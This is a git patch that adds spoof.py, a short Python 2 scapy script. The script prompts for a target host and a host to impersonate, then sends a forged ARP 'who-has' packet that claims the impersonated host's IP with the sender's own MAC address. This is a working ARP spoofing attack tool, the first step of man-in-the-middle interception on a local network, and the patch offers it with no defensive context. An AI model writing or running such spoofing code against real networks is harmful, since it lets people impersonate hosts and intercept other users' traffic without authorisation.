From 10f3d4d99b2c36a4c68788a7ef3fffb4f5e93c01 Mon Sep 17 00:00:00 2001 From: Nikolaos Kamarinakis Date: Sun, 11 Dec 2016 16:42:34 +0200 Subject: [PATCH] Update spoof.py --- spoof.py | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/spoof.py b/spoof.py index 131266b..ea3f4da 100644 --- a/spoof.py +++ b/spoof.py @@ -1 +1,24 @@ import scapy + +from scapy.all import * + +# GET MAC ADDRESS +def get_mac_address(): + my_macs = [get_if_hwaddr(i) for i in get_if_list()] + for mac in my_macs: + if(mac != "00:00:00:00:00:00"): + return mac +my_mac = get_mac_address() +if not my_mac: + print "Cant get local mac address, quitting" + sys.exit(1) + +# REQUEST Host_Target & Host_Impersonation + +target = raw_input("Enter host target: ") +impersonation = raw_input("Enter host to impersonate: ") + +# CRAFT & SEND PACKET + +packet = Ether()/ARP(op="who-has", hwsrc=my_mac, psrc=impersonation, pdst=target) +sendp(packet)